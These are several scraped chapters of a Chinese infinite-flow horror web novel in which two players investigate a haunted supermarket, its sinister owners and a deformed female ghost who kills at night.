两人的对话即为简洁,但在场所有人都听懂了他们的意思。 “这是偶然吗?”一个人哆嗦着问,“我们也会死吗?” 胡权看了那人一眼,只道:“死亡是有规律的,除非遇到某些大型逃杀场,一般的场域都不会随便杀人的。” “所以……规律是什么?”那人急得快哭出来。 胡权叹了口气:“现在还不知道。” “什么意思?”那人忍不住砸了下桌子,“你不是说你是老手吗?怎么会找不到规律?你是不是有什么事在瞒着我们?!” 他砸桌子用力太猛,桌上的碗筷都震得抖了起来,温偌水盛得满满的鱼片粥未能幸免于难,滚烫的粥顷刻间溅洒在桌布上,散发出丝缕热气。 温偌水深吸一口气,未等胡权开口便反问道:“你上过学吗?” 那人皱眉:“你想说什么?” “小学数学课学过‘找规律’吧?”温偌水掏出纸巾擦拭着桌面,“你能只靠一个图案或数字就找到规律?” 她的语气依旧平淡,但怎么听都感觉是在嘲讽人。那人牙关紧咬,齿缝间挤出一句话来:“那你的意思是我们还要再死几次?” 温偌水没再理他,自顾自地喝起粥来。那人见着没趣,便也悻悻闭了嘴。 由于早上发生了两桩惨案,所有人都兴致缺缺,大多数人早饭吃了一半便再也吃不下去,又没人敢回二楼直面那惨景,便死寂般地坐在餐桌边一言不发。 温偌水慢条斯理地解决了自己那份早饭,余光瞥到顾随之动也没动的碗,问:“不吃了?” 顾随之回过神来,沙哑着声音道:“嗯,吃不下……” 话音未落,一只手便把碗给捞了去。 温偌水:“浪费可耻。” 顾随之:“……” 过了一会,双吴又出现了,兴许是见过真正恐怖的惨景,众人见到微笑堪称诡异的双吴时竟然都不觉得惊恐了,他们呆呆地看向两人,等着他们说话。 “昨夜大家休息得可好?”两人笑眯眯地问。 回想起昨夜惨死的两个同伴,众人忍不住打了个寒战。 “一、二、三……哎呀,怎么少了两人?”吴顺财数着人头,兀自笑道。 “还好我们早就料到了,少准备了两份早饭!”吴仁捧哏。 两人的笑起来宛如地狱的恶魔,众人一阵反胃,有几个心理承受能力弱的直接把早餐全吐了出来,现场一片狼藉。 温偌水皱了皱眉,站起身来问双吴:“能使用一下一楼的卫生间吗?” “当然可以。”双吴道。 温偌水便径直向卫生间走去。扮演木头的顾随之惊醒,连忙跟了上去。 一楼的卫生间应该是双吴在使用,比楼上的客房里的卫生间大得多也整洁得多,洗脸池、马桶、浴缸应有尽有。温偌水反锁上门后便开始四处翻找,很快她便在储物柜里发现了一包拆了封的卫生巾。 那包卫生巾应该是才开封不久的,里面只缺少了一两片。温偌水又向垃圾桶里看去,垃圾桶里有些碎纸,但不见卫生巾的包装袋。 会不会被压在了下面?温偌水这么想着,但又看了几眼垃圾桶,果断选择了放弃。 傻子才去掏垃圾桶。 她开门想要离开,一打开门就撞见了看上去有些焦急的顾随之。 温偌水:“?” 顾随之的嘴唇还是有些苍白,但是神情总算缓和了些,他一看见温偌水便两眼放光,激动道:“温温姐你怎么在里面待了那么久呀?我可担心你了!” 温偌水:“我只是上了个厕所。” 顾随之正色道:“可是很多恐怖电影里不都有这种桥段——同伴去上了个厕所许久不回,一打开门里面啥也没有!温温姐你知道吗?下水道是会吃人的!抽水马桶也是会把你吸进去的!” 温偌水皱眉:“闭嘴。”这人长得挺漂亮的,怎么说的话一点都不文雅? 顾随之立马做了个拉拉链的动作:“好的,我不说了。” 温偌水刚要离开这,视线在顾随之身上扫过后突然道:“你跟我进来。” 顾随之惊讶又忸怩道:“这不好吧温温姐,ao有别欸……” 温偌水:“……进来,翻垃圾桶。” 顾随之:“……哦。” 温偌水有洁癖,但顾随之没有。只见全身穿着价值不菲奢侈品的小公子哥勤勤恳恳、任劳任怨地蹲在地上翻垃圾桶,还翻得一头是劲,这画面属实让人有些捉摸不透。 眼见着垃圾桶被人翻到了底,可依旧没见到卫生巾的独立包装纸,温偌水叫了停,并监督顾随之把双手里里外外洗了不下五遍,这才带着人离开了卫生间。 回餐厅的路上顾随之忍不住问:“温温姐,为什么要翻垃圾桶呀?垃圾桶里有什么线索吗?” 温偌水本来是懒得解释的,但回想了一下顾随之好歹帮自己翻了垃圾桶,于是仁慈地给予了回复:“我第一天到这的时候检查了货架,发现只有卫生巾缺了几包。” 顾随之瞪大眼睛:“是同伴们拿的吗?” “不是,我观察过了,不是我们的人拿的。” 话已至此,即便顾随之是个傻子也反应了过来:“所以是场里面的人用的!可是我没见到有女性omeganpc啊?” 温偌水淡淡道:“也许不是关键线索,但还是找找看吧。” 顾随之点了点头,过了会又问:“这个情报要告诉其他人吗?” “随你。” 温偌水刚回到餐厅,两个npc的脖子就齐刷刷地扭了过来。 “小姐去了好久呢,是有什么事吗?” “早上吃多了。”温偌水撒谎撒得脸不红心不跳,反倒是一旁的顾随之眼神躲躲闪闪,恨不得把小秘密都写在脸上。 npc看向顾随之,问:“那这位先生呢……” 话音未落,顾随之便此地无银三百两地说:“我们俩不是你们想的那种关系!” npc:“……” 众人:“?” 温偌水:“。” 她揉了揉太阳穴,不知道把情报告诉顾随之到底是不是正确的选择。 npc并没有为难大家,只是留下几句话便去忙自己的事情了。 一天三顿,只有温偌水大心脏地吃了个痛快,其他人则人心惶惶了一天,白天坐在一起发呆,到了晚上才惶恐不安地回了住处。本以为尸体会在走廊里发烂发臭,但没想到走廊里什么也没有,就连早上淌进地板里的血液都消失得无影无踪,不少人暗自松了口气。 温偌水倒是没闲着,带着名为“顾随之”的跟屁虫找了一圈线索,但一楼除了卫生间以外并没有更多和“女性omega”有关的线索了——哦,除了厨房里的一只狗食盆。 下午温偌水看到那个狗食盆的时候微微一怔,因为双吴家里根本没有养狗,四处也都没有养过狗的痕迹,那这里蓦然出现的一只不锈钢狗食盆就很奇怪。温偌水打量了几眼之后默默记在心里,再之后就没有其他多余的发现了。 晚上温偌水刚洗完澡,便听到了敲门声,此时距离晚上九点还有一会,因此她断定外头不会有什么危险,便开了门。 门外,身材高大的顾随之像小姑娘抱芭 6. 笑哈哈超市(四) 《劣等人类补全计划[无限]》全本免费阅读 温偌水瞬间屏住呼吸,她感受到胸腔内剧烈的跳动——“噗通、噗通”。 那眼球转了转,随后挪了开去。就在温偌水以为外头的鬼东西走远时,突然感受到脚下黏腻的触感,她低头看去,只见暗色的液体正从门外溢出来,像是沼泽一样贪婪地吞噬着她的影子。 恶臭袭面,温偌水皱着眉头往后退去,在发霉的地板上留下一个个残缺的脚印。 顾随之凑上前来,说:“腐肉味好浓……好像就是这个液体里传来的。”他又翕动了下鼻子,突然瞳孔一震,“这……好像是经血?” 温偌水投去疑问的目光。 顾随之脸色有些凝重:“我之前在平民窟认识过一个女孩,16岁就被父亲卖去红灯区从事着边缘交易,患上了由细菌和病毒感染的生.殖.腔疾病,从那以后她每次来月经时我都会闻到类似的腐肉味……”说到这,他顿了一下,“那时候我还总以为是她把垃圾桶里的剩饭烂肉藏在身上。” 温偌水深深看了顾随之一眼,对他的经历有些讶异。但没等她细想,白天的发现就和地上散发出恶臭的液体联系在了一起—— 货架上莫名消失的卫生巾,一楼柜子里藏着的已拆封的包装袋,由于未知原因散发出恶臭的经血…… “门外的就是我们在找的女性npc。”温偌水道。 这个世界上大多数beta的孕育能力较差,alpha们则在演变中退化了“孕育”的功能,只有omega才具备正常的孕育能力,他们和alpha互相标记生下子嗣,支撑起社会的正常运转。因此,只有omega才会有“月经”。而男性omega和女性omega的月经表征并不相同,出于生理构造的迥异,女性omega的月经是出现经血,而男性omega的月经则是出现高烧。也就是说,门外的人,只可能是女性omega。 顾随之点了点头,额头上沁出的汗水随着他的动作滑落下来,滴入颈窝。 温偌水再透过猫眼往外看时,外头什么也看不到了。 她将手搭在门把手上,回忆起npc的三条规则后纠结了一番,最后还是撒了手。而就在她松手的那一刹那,门外传来了一声凄厉的尖叫声! 顾随之被吓得一颤,大脑高速运转:“这声音——是吴顺财!” 那尖叫声凄惨无比,宛如地狱中被执以油炸之刑的厉鬼,时而低泣时而高昂,尖叫声中夹杂着几句求饶声,几句怒骂声,到最后那人已经说不出话来了,空气里只荡漾着钝器劈砍骨头的“咔嚓”声,和气若游丝的喘息声了。 顾随之脸色一片苍白,他拼命扶住墙才勉强不在温偌水面前直接跪下去。 脚步声再度响起,只是这次响起的不仅仅是脚步声,还有类似于包裹着重物的麻袋被拖拽的声音。 温偌水赶忙贴在门板上透过猫眼向外看去,只见一个身形诡异的女人正拖着一具已经难以辨别人形的血肉模糊的尸体经过。 女人的腰呈九十度诡异地向前弯折,四肢瘦削地不像话,关节处骨头锋利地刺出来。和瘦得不寻常的四肢相比,女人的肚子大得离奇,看上去非常突兀,她的脑袋也很大,因为身体的前倾而低垂着,乱如杂草般的黑发遮挡住了面颊,只有一只血红的眼时不时从发梢下探出。 突然,那女人转过头来,血色的双眼宛如黑夜里倒挂的两轮红月。她猛地扑向门板,张开漆黑的大口,温偌水呼吸一滞,发现女人嘴里有一个小块在蠕动,定睛一看才发现那是断了半截的舌头。 女人发出嘶哑的低吼,门板被她撞得哐哐作响,温偌水倒退两步,突然感到头顶传来的视线,一团棉花落于她的鼻尖,她猛地抬起头来——只见天花板上卡着一只破了肚子的诡异娃娃,大团的棉花从破口处掉落,纽扣的眼睛里仿佛隐藏着深渊,几乎要将温偌水的灵魂吸走。 就在这时,一只温暖的手盖住了温偌水的眼睛,只听得一声尖嚎,再睁眼时那娃娃“啪叽”一声掉落在地,身上的异样感荡然无存。 顾随之眼疾手快地将娃娃一脚踢进了卫生间的下水道里,随后紧紧关上了卫生间的门。 娃娃消失后,门外的女人便停止了撞门的动作,她有些茫然地环顾四周,最后将手里的尸体丢在原地,亦步亦趋地走下楼去。 随后,楼下便传来了属于吴仁的尖叫声。 顾随之紧张到呼吸紊乱,他依旧保持着从背后拥抱住温偌水的姿势,眼睫轻颤。 “外头的人走了。”温偌水的声音依旧冷静。 顾随之喘了几口气,松开了温偌水后一屁股坐在了地上。 温偌水打开卫生间,向蹲坑的下水道口看去,娃娃已经消失得无影无踪,要不是地上还残留着些许棉花絮,温偌水都要以为刚刚的棉花娃娃只是自己的错觉了。 “反应速度很快,你怎么知道那棉花娃娃有问题的?”温偌水的直觉很准,她知道如果不是顾随之蒙住了她的眼睛,一定会发生什么糟糕的事情——当她和棉花娃娃对视的时候,她明显感受到自己的灵魂正在被剥离出□□,也正是因为这个,温偌水产生了一瞬间的恍惚,才没能及时做出反应。 顾随之坐在地上惊魂未定道:“直觉……” 温偌水眯起眼睛。 半晌,门外的尖叫声彻底平息了,温偌水抬手揉了揉脖子,对顾随之说:“睡觉去吧。” 顾随之:“?” 温偌水忽略了他诧异的神情,自顾自地回到了床上,没一会就又沉入了梦乡。 在她睡着后,顾随之默默打开了卫生间的门,沉默地盯着下水道口看了许久,眼神中流淌着异样的情绪。 约莫过了十几分钟后,他才沉着脸“啧”了一声。 . 第二天早上八点左右,季小柔悠然转醒,她伸了个懒腰打着哈欠,抹了把脸后起身下床。突然她被什么东西绊倒,直直摔在了地上。 “他爹的——”季小柔刚想开口骂人,就看到被她踩了一脚蜷缩成一团的顾随之。 季小柔:“……对不起,我的错。” 顾随之捂着肚子摆了摆手:“没事……” 季小柔定睛一看,问:“帅哥,你怎么一夜之间变成大熊猫了?这黑眼圈……啧啧啧真吓人,你昨晚没睡好吗?” 一想到昨晚的事,顾随之就忍不住抖了三抖:“昨晚……那么大动静,你什么也没听到吗?” 季小柔满脸问号:“动静?什么动静?” 那就是没听见了。 顾随之叹了口气,心里十分佩服季小柔的睡眠质量,但凡分他一点,他也不至于昨晚一点都没睡着了。 “不过说来很奇怪欸。”季小柔又道,“按道理来讲能量场里的氛围还挺压抑恐怖的,我居然连着两天都睡得很舒服。” 顾随之:谢谢,别说了,我真的会羡慕。 二人闲聊时温偌水也醒了,三人洗漱完毕出门时便听到了尖叫声。 一推开门,一具惨不忍睹的尸体映入眼帘,那人身上的衣服和温偌水昨天透过猫眼看到的一模一样,他就是昨晚被女人杀死的第一个倒霉鬼。 这已经是人们第二次面对尸体了,显然他们要比第一天镇定得多,除了少数几个胆小鬼以外,其他人都很快进入状态,开始复述昨晚还记得的事情。 “这人是我舍友。”一个男性beta道,“昨晚上我们很早就入睡了,并没有听到什么异动。” “他做出什么违反规定的举动了吗?”胡权问。 男人思考了一会,不确定道:“好像没有做……但是他昨天提出过能不能逃出这家超市,我不知道他是不是昨晚趁我睡着后离开了房间。” 胡权沉着脸点了点头,很快,几人又在楼梯转角处发现了第二具尸体。根据尸体舍友的描述,此人也并没有出现什么明显的违规情况,但也曾经表达过要逃出这里的想法。 “这线索几乎没什么用。”胡权道。 “什么意思?”有人问。 胡权反问那人:“谁不想逃走?几乎所有来到能量场的人都萌生过要逃跑的想法,所以这并不构成死亡条件,一定有其他东西触发了死亡机制。” 听到这话,温偌水想起了昨天看到的天花板上的那只棉花娃娃。 “我昨晚看到凶手了。”温偌水突然说道,此话一出,所有人都震惊地看向她。 “欸?可是其他人都说昨晚没有什么动静……你是在九点之后出门了吗?”大肚子的女人问。 温偌水看了她一眼,蹙起眉头。顾随之见状,伏在她耳边道:“她叫常珊。” 温偌水瞥了他一眼,似乎在说“她叫什么名字和我有什么关系”。 “昨天夜里我被尖叫声吵醒了,下床后透过猫眼看到了凶手的模样。”温偌水顿了顿继续道,“是个女人,身材瘦削,肚子很大,头也很大,身体呈九十度前倾,应该是这个能量场里的关键线索人物。” 当温偌水提到“肚子很大”这一点时,不少人都向常珊看去,常珊被众人看得心里发毛,连忙辩驳道:“我不瘦啊,我身体也不畸形啊,而且、而且我 7. 笑哈哈超市(五) 《劣等人类补全计划[无限]》全本免费阅读 “这、这不好吧……”吃完早饭,顾随之把温偌水拦在了走廊里,满脸忧愁道,“万一死亡机制真的和禁令有关呢?” 温偌水一脸平静地擦着嘴:“能量场里不会出现必死局。” “是这个道理没错……” “那你不觉得禁令和关键npc出现时间相违背这件事很怪吗?” 顾随之一噎:“是很奇怪啦,但也不能以身犯险吧?” 温偌水淡淡地看了他一眼,突然问:“死亡很可怕吗?” “很、很可怕啊……” “既然可怕,那就更要想办法活下去。”温偌水道。 如果不想办法,就只有死路一条。 顾随之愣住,半晌他无奈地耸了耸肩,急忙跟上温偌水的步伐,嘴里念着:“你真是……” “而且,”温偌水眉毛一挑,“昨天我们不是毁掉了那只棉花娃娃吗?” 顾随之点了点头,突然,他像是意识到什么一样瞪大了双眼—— “我们已经损坏了店里的东西了!” 但是他们此刻安然无恙,连根头发丝都没断。 这也就意味着禁令也许并不是触发死亡机制的关键! 看着他恍然大悟的表情,温偌水轻笑一声:“孺子可教。” . 有了第一次的经验,今天二人再遇到全须全尾出现在眼前的双吴时已经很是淡然了。等npc一走,顾随之就悄声对温偌水说:“温温姐,他俩肯定有问题,昨晚两名受害者发出来的声音就是他俩的。” 温偌水点了点头,双吴的声音从两名和他们毫无瓜葛的普通人身上发出,这其中必有蹊跷,联系昨晚突然出现的那个诡异娃娃,将事件的来龙去脉捋了一遍后,温偌水眉头一低:“那个女npc的目标也许就是双吴。” 顾随之眨了眨眼:“你这么一说,两次我都听到了双吴的惨叫声……应该就是这样。”随后他眉头一蹙,眼神中流露出难以掩饰的厌恶,“可是第二天发现的死者都是我们的同伴,应该是双吴使用了什么方法让他们成为了替死鬼……真可恶啊。” 能量场里虽然充斥着各种诡异事件,表面上看来似乎难以用常理解释,但其实质上它们都是由人类的怨念所构造的,人的怨念之形成其来有自,因此也一定暗藏一套既定的逻辑。 温偌水沉思片刻后,轻声道:“为什么要追杀双吴呢?” 顾随之听到了温偌水的疑问,掏出早上胡权给的那张小地图,仔细一看后指了指其中一间房:“不如从房间开始搜查?这两间房应该就是吴仁和吴顺财的房间了。” “那个不急。”温偌水道,“等晚上九点之后再行动。” 顾随之一脸懵逼,缓缓打出一个问号。 温偌水看了眼他傻不拉几的样子,叹了口气说:“既然要犯禁令,就干脆一次性犯个彻底。”眼下还有两条禁令他们没有触犯过,温偌水懒得一个个试,干脆一次性解决得了。 顾随之:“……”语塞半晌后,他目不转睛地看向温偌水,目光深邃,仿佛在思考着什么。随后,顾随之低笑一声,问:“那我们现在干啥?” “等npc走了之后检查一下收银台吧。”温偌水想起什么,又道,“对了,你不是晚上听到了电视机的声音吗,顺便把那个也检查一下。” 顾随之会意,二人便分头行动。 温偌水先是去了一趟一楼的卫生间,在看到柜子里的卫生巾又少了几片后心中了然,转身离开。在厨房里她再次看到了那个不锈钢的狗盆,温偌水伸出手指在盆壁上一划,又将手指置于鼻下一闻——不是狗粮的味道,而是他们今天才吃的早饭的油香味。 突然,一个念头涌上温偌水的脑海——为何那个女npc只有半夜才会出现?白天她在哪里?既然她这么痛恨双吴,为何白天却见不到一点人影? 又看了眼那只狗盆,温偌水心中有了些想法。 她刚想转身走出厨房,迎面便碰上了吴顺财,看着老头那诡异的微笑,温偌水心里并不犯怵。 吴顺财扯着嗓子问:“小姐,你在这干什么呢?” 温偌水:“参观一下厨房。” 吴顺财笑容僵硬片刻,讪笑道:“一个厨房有什么好参观的呢……” 他话音未落,温偌水便反客为主地问:“给这么多人准备饭菜一定很累吧?” 吴顺财搓了搓手:“不会不会,哪里说得上累呢?” “这么细致的活,就你们俩完成吗?家里没有女眷什么的帮衬一下?” 说到这,吴顺财的表情肉眼可见地凝滞了一下,但他很快恢复笑容说:“咱家就我和我儿子,没有其他人的。” 此地无银三百两。 温偌水心想,这npc还挺能露馅的,其他人怎么就没盘出个一二三来呢? 她忘记了一件事,除了胡权这个老手以外其他全员新手,自打进了诡异的能量场后便整天魂不守舍的,不内讧都是好事了,更别提和相貌诡异的npc攀谈了。 毕竟这世界上,强心脏如温偌水的还是凤毛麟角。 npc的破绽太大,而温偌水也已经拿到了想要的答案,因此她不再在npc身上浪费时间。走出厨房后温偌水直奔顾随之所在的收银台,顾随之整个人都跪伏在收银台下,只露出两只脚在外头,温偌水到的时候还把他吓了一跳。 顾随之左顾右盼,确定npc不在之后偷偷摸摸把手里的东西塞进了温偌水手里。温偌水低头一看,发现那是一个账本。 简略翻过一遍之后温偌水发现记录账本的人,也就是吴顺财,将每一笔账都记得很是详细,从时间到货物名称到具体金额,吴顺财都事无巨细地记下了。纸页泛出淡淡的霉味,里头贴着许多发票,因此将原本并不算厚的账本撑开。 温偌水看东西的速度很快,在npc走出厨房的那一瞬间,温偌水将账本塞回了抽屉。 “走。” 顾随之连忙从收银台下爬起来,屁颠屁颠地跟着温偌水走远了。 “有什么发现吗?”顾随之问。 “吴顺财的记录很详实,基本上每一笔账都能对上。”温偌水道。 顾随之叹了口气:“看来没什么用啊……” 话音未落,温偌水又说:“但是110年3月有一笔账他没有标明货物名称,连交易人都没有写明。” 顾随之失落的表情又恢复了欣喜:“这其中肯定有猫腻!” “嗯,那项金额还挺大的,不知道他买了什么。” 顾随之没想太多,只是微微屈身,凑在温偌水耳边赞叹:“温温姐也太厉害了,那么厚一本账单几分钟就扫完了!” 温偌水对他的夸赞不为所动,只是问:“电视机怎么说?” 顾随之立马正色道:“检查了,还是没有信号,不过电视机上的线都接上了,不知道哪里出了问题。” 温偌水沉思片刻,道:“那就等晚上搜房吧。” . 这天的晚饭,顾随之由于晚上的计划而紧张得没吃几口,相比较下温偌水则像是来旅游的一样,没心没肺地将美食一扫而光,并再度借助“不能浪费”的理由将顾随之的那份饭扫了个干净。 入夜,在季小柔睡着之后,顾随之叫醒了温偌水,温偌水一边打哈欠一边穿衣服,两人蹑手蹑脚地离开了房间。 门一打开,看着漆黑一片的走廊,顾随之心脏狂跳。门槛像是有结界似的,顾随之幻想着一旦离开屋内便会被魔鬼吞噬的场景,又开始默念马克思 8. 笑哈哈超市(六) 《劣等人类补全计划[无限]》全本免费阅读 “谁在那里!” 低喝落下,急促的脚步声传来。温偌水透过衣柜的缝隙向外看去——吴仁似乎察觉到了异常,以一种怪异的姿势冲了进来,姿势之怪仿佛他的四肢是才安上去尚未驯化完毕一般。 吴仁先是在房里四处环顾着,没有发生什么异样后他霍然扭过头来看向衣柜。温偌水急忙缩回头,躲开了吴仁的视线。但吴仁的疑虑依旧没有打消,温偌水听见了由远至近的脚步声—— 哒哒、哒哒…… 吱呀—— “你在这做什么?” 又一道声音响起,温偌水屏住了呼吸。 “啊,父亲,没做什么,有什么事吗?”吴仁扭头对门外的吴顺财说。 “她还没吃饭,给她弄点饭去,免得饿死了。这天实在是太热了,要是真死了那味道可难闻。” “哈,她现在味道也没好闻到哪去啊!” 吴顺财冷哼一声:“也不知道生了什么瘟病,一股子臭味,真他妈晦气。” npc的语气和白天时的截然不同,这种语气更加加深了温偌水的猜测。 吴顺财走后,吴仁也并没有停留,几乎是吴顺财前脚刚走,吴仁后脚就带上了房门离开了卧室。 房门关上的那一刹那,温偌水彻底放松下来,她扭过头去对身边的人道:“没事了。” 身边的人并没有出声。 温偌水疑惑地扭过头看去,只见顾随之满脸绯红,一双漂亮的大眼睛湿漉漉的,睫毛一颤都要抖落几滴泪珠。视线往下一瞧,又见自己的一只手正死死捂住顾随之的口鼻—— 温偌水这才想起来,刚刚在吴仁推开房门的那一刹,自己眼疾手快地把顾随之拽进了衣柜里,又担心顾随之受到惊吓后发出些怪叫,于是捂住了他的口鼻。 可哪里晓得吴仁在外头磨蹭了那么久,温偌水的视线又一直盯着外头,很快就忘了这茬事。眼见顾随之几乎要憋死过去,温偌水赶忙撒开了手。 “唔啊……哈……”顾随之仿佛重获新生一般贪婪地呼吸着空气,眼泪顺着脸颊淌了下来。 “温温姐,我、我刚刚……都看见走马灯了……” 温偌水:“……不好意思。” 顾随之平复了一下之后问道:“温温姐,你搜到什么了吗?” 温偌水点头,将自己的推测简要和顾随之讲述了一遍。 “你是说那个女npc极有可能是被家.暴的妻子?”顾随之嘴巴长成一个大大的O型,脸上的惊愕慢慢变成了愤怒,“他们也太不是东西了!怎么这样!” 温偌水不理解顾随之为何会愤怒,她推着顾随之走出吴仁的房间,小声道:“现在当务之急是跟着npc他们找到女人的藏身处。” 根据刚刚吴顺财和吴仁的对话,温偌水猜测女人应该是被关在了某个地方,因此才需要双吴去送饭。 夜里的走廊实在是太黑了,两人没法分辨前路,很快便跟丢了。时间距离双吴离开吴仁的房间已经过去了十分钟,曲折的走廊仿佛变成了迷宫,两人兜兜转转了许久依旧找不到正确的路。 就在他们找到一处微弱的光源,准备掏出胡权给的地图来辨认方向时,顾随之突然脸色凝重地抬起头来看向远处。 “怎么了?”温偌水问。 “频道五。” “又是电视机的声音?” 顾随之点了点头。 温偌水的脸色也跟着沉了下来,顾随之上一次听到电视的频道声后女鬼就出来杀人了,如果这其中存在一定的规律,那今天也不例外。 温偌水抓住顾随之的手快步向前走:“回房间。” 温偌水用力太大,顾随之有些吃痛,可眉头还没松下来他便一下撞在了前头急刹的温偌水身上。 “怎么了温温姐?” 温偌水做了个噤声的手势,随后快速打开走廊墙壁上的消防栓门,从里头掏出来一把消防斧捏在手里。 不需温偌水说明,下一秒顾随之就清楚发生了什么——他听到了来自走廊尽头的脚步声。 顾随之咽了口口水,蹑手蹑脚地跟在温偌水身后。 “不是那个女npc。”半晌,温偌水低声道。 顾随之也点了点头:“嗯,这个脚步声听起来更扎实。”女npc由于身体畸形,走路时脚步是虚浮的,有时深有时浅,根本不像刚才那串脚步声那样扎实。 但这脚步声也明显不是双吴的,这让两人不由得沉下心来,冷汗顺着额角滑落,温偌水攥住消防斧的指节微微泛白,她微眯着眼,像黑夜里的猎手一样弓着身子缓步向前。 突然,温偌水俯下身子冲向了拐角,右脚踩出去一大步后以落地的左脚为圆心急旋转向,同时腰部发力带动消防斧上举! 而就在斧头下劈的那一刹那,温偌水瞳孔猛缩,手腕迅疾扭转,斧头劈到了一边的墙上。 “怎么是你?” 顾随之快步跟上前来,越过温偌水的肩头一看,呼吸跟着一滞:“小柔?你怎么在这?” 只见季小柔站在距离两人一米的位置,满脸惊惶地看向劈在身侧的消防斧,浑身颤抖:“我、我还想问你俩去了哪呢!” 温偌水将消防斧拔了出来,墙皮脱落洒下的碎屑尽数落在了季小柔身上,季小柔吓得一抖,不由得往后退了一步。 “你不是在睡觉吗?”顾随之问。 季小柔来不及掸身上的碎屑,着急道:“对啊,我睡得好好的突然就醒了,醒了就发现你俩都不在,门还开着,我以为你俩出事了就赶紧出来找你们,哪晓得差点被你们一斧头劈死!” “突然醒了?”温偌水眯起眼来,要知道他俩离开房间之前可是叫了季小柔好几声,甚至上手摇了她她都没醒,怎么可能突然就自己醒了? 温偌水沉思一秒——已知女npc被双吴关在了某个地方,而每晚女npc都会“越狱”杀人,如果没有人帮她,她是怎么从房间里逃出来的? 想到这,温偌水看向季小柔的眼神中不禁带了几分杀气,这让本就胆战心惊的季小柔抖得更厉害了。 “喂,你那是什么眼神啊……我说的都是实话啊,你们相信我啊……”季小柔急得快要哭出来,晚上的她卸去了白天杀马特的妆容,露出了原本可爱稚嫩的脸,这么一焦急,竟显得有些楚楚可怜起来。 可惜,温偌水不吃这一套,她再度将斧头对准了季小柔,眼里的寒色如同冬日里河边石块上结的霜,泛出淡淡的青色:“我再问你一遍,你为什么会出现在这里。” “我都说了——” 季小柔话音未落,走廊的另一头便传来了一声惊恐凄厉的尖叫! “是吴顺财!”顾随之一瞬间便认出了那声音,他瞪大双眼道,“快走,她过来了!” 温偌水闻言,只好收起斧头跟着顾随之往他们的房间跑去。 那女鬼虽然身有残疾,但移动速度却十分惊人,她一手拖着破布麻袋一样的尸体,一手提着沾满血液的凶器,几乎是眨眼间便冲到了几人身前! 这一次温偌水总算看清了她的样貌——女人瘦削得离奇,包裹在脸上的薄皮将骨骼尽数刻画出来,两只巨大的眼球凸显在外,泛着诡异的红色,嘴角撕裂开来蔓延至耳根,森森白骨和鲜红的唇颚对比冲突,让人不寒而栗。 房间就在眼前! 温偌水一把拉开房门,就在她即将冲进屋子里时,她听到了“噗通”一声—— 季小柔由于惊吓过度双腿无力,直直摔倒在地,她满脸皆是泪痕,下意识用双手护在脸前。 女鬼已经将她扑倒在地,正张开猩红的巨嘴举起手里的钝器。 “不要!不要!妈妈救我!!!”季小柔惊叫道。 下一秒,让温偌水觉得匪夷所思的一幕发生了——只见女鬼高举的钝器突然顿住,她大得惊悚的眼珠凝滞一秒,随后有些茫然地看向季小柔,她掰开季小柔护在脸前的手,目不转睛地打量着身下人的脸。 就在这短暂的停顿中,一阵大力 9. 笑哈哈超市(七) 《劣等人类补全计划[无限]》全本免费阅读 两人插科打诨了一会,直到外头爆发出第二次尖叫声才停下。 顾随之唇色有些苍白,不笑的时候看起来像瓷器一样脆弱,他抿了抿唇,道:“是吴仁的声音。”停顿半秒后又说,“如果温温姐没救下我的话……估计现在惨叫的人就是我了。” 不提这个还好,一提这个温偌水便眯起了眼睛,她瞥了一眼顾随之手臂上的伤,冷声道:“你……” 话音未落,顾随之抬起头,伸出手轻轻将她被鲜血打成一绺的粉发撩到耳后:“对不起啊温温姐,把你头发弄脏了。”他歉意地笑了笑,琥珀色的瞳仁清澈见底。 温偌水:“……”她慢半拍地别过头去,将剩下半句“少多管闲事”咽进肚里。 她叹了口气,转身走进卫生间里洗澡,等她再出来时,顾随之的胳膊上出现了一个可笑的蝴蝶结,从其手法来看估计是季小柔给系上的。 温偌水躺上床都准备睡觉了,以往只有她和顾随之醒着,只要给一个眼神顾随之便会乖乖闭嘴跟着一起睡觉,但今天另一个话痨季小柔也醒着,并且由于晚上经历了太刺激的事情,现在整个人心脏扑通狂跳,小嘴叭叭不停,根本没有一丁点要闭嘴睡觉的迹象。 温偌水翻来覆去了一会,实在无法入眠,只能坐直身子盘问季小柔。 “你今天为什么会出现在走廊里?” 季小柔一脸委屈:“我都说了,我醒了之后发现屋里没人,房门还开着,我以为你俩出事了就赶紧跑出去找你们了……” 顾随之看了温偌水一眼,轻声问:“温温姐,你是怀疑那个脚步声是小柔的吗?” 温偌水道:“她没法证明自己的清白不是吗?” 季小柔看看你又看看他,满脸写着懵逼二字:“不是,什么脚步?什么清白?我晚上出去找人犯什么罪了吗?”想了想她又情绪激动道,“我甚至为了你们连禁令都触犯了!” 顾随之笑着摆了摆手,给她一一解释了两人这几天搜索到的线索,还提出了女npc极有可能有帮手的假设。 闻言,季小柔瞪大双眼:“我去!真的假的?你们是说我们这群人里有一个帮凶?!” “你想想看,根据双吴的对话,我们基本上可以断定女npc被关在了某一个密室内,但是她每天晚上都可以出来杀人……应该是有人协助她越狱了吧?而且今天温温姐确实看到了走廊里的黑影,我们也听到了脚步声。”顾随之耐心说道。 “你觉得那个脚步声是她的吗?”温偌水扬起下巴点了点季小柔。 顾随之沉思几秒后摇了摇头:“那个脚步声比小柔的更重。” 季小柔连忙发誓:“我敢保证这个帮凶不是我!我怕都快怕死了怎么可能去帮着女鬼杀人啊!” “那为什么女鬼没有杀你?”温偌水反问,“你为什么要叫妈妈?” 季小柔急得和含冤的窦娥一样:“我也不知道她为啥没有杀我啊!而且遇到危险第一时间叫妈妈不是很正常的事吗?我反正从小到大一遇到事就喊妈妈,每次我妈都能帮我摆平……”说到这,她愣了一下,表情肉眼可见地沉了下去,“可是我妈已经死了,现在也没法救我了……” 温偌水淡淡地看着季小柔,垂着的睫毛投下一小片阴翳,不知道在想些什么。 “——不过我有义父救我!”季小柔突然来了这么一句,一脸谄媚地冲顾随之笑。 温偌水:“……” 温偌水揉了揉太阳穴问:“你说你醒的时候门是开着的?” 季小柔点头如捣蒜:“嗯,对啊。” 温偌水看向顾随之,顾随之也意会到了什么,说:“我们出门的时候把门给关紧了的。” 季小柔反应了几秒,随后鸡皮疙瘩爬了满身:“我靠,那个帮凶来过我们房间?!” 顾随之的脸色也变得不太好看起来,他咬着手指甲低声道:“那个帮凶今晚的目标原本是我们?” 温偌水双手抱臂,面若冰霜:“应该是的,只是没想到我们俩没在屋内……”话说到一半,温偌水眉头一皱,转头问季小柔,“你是什么时候醒的?” 季小柔回忆了一下:“具体时间记不太清了,但是我一出门就碰到你们了。” 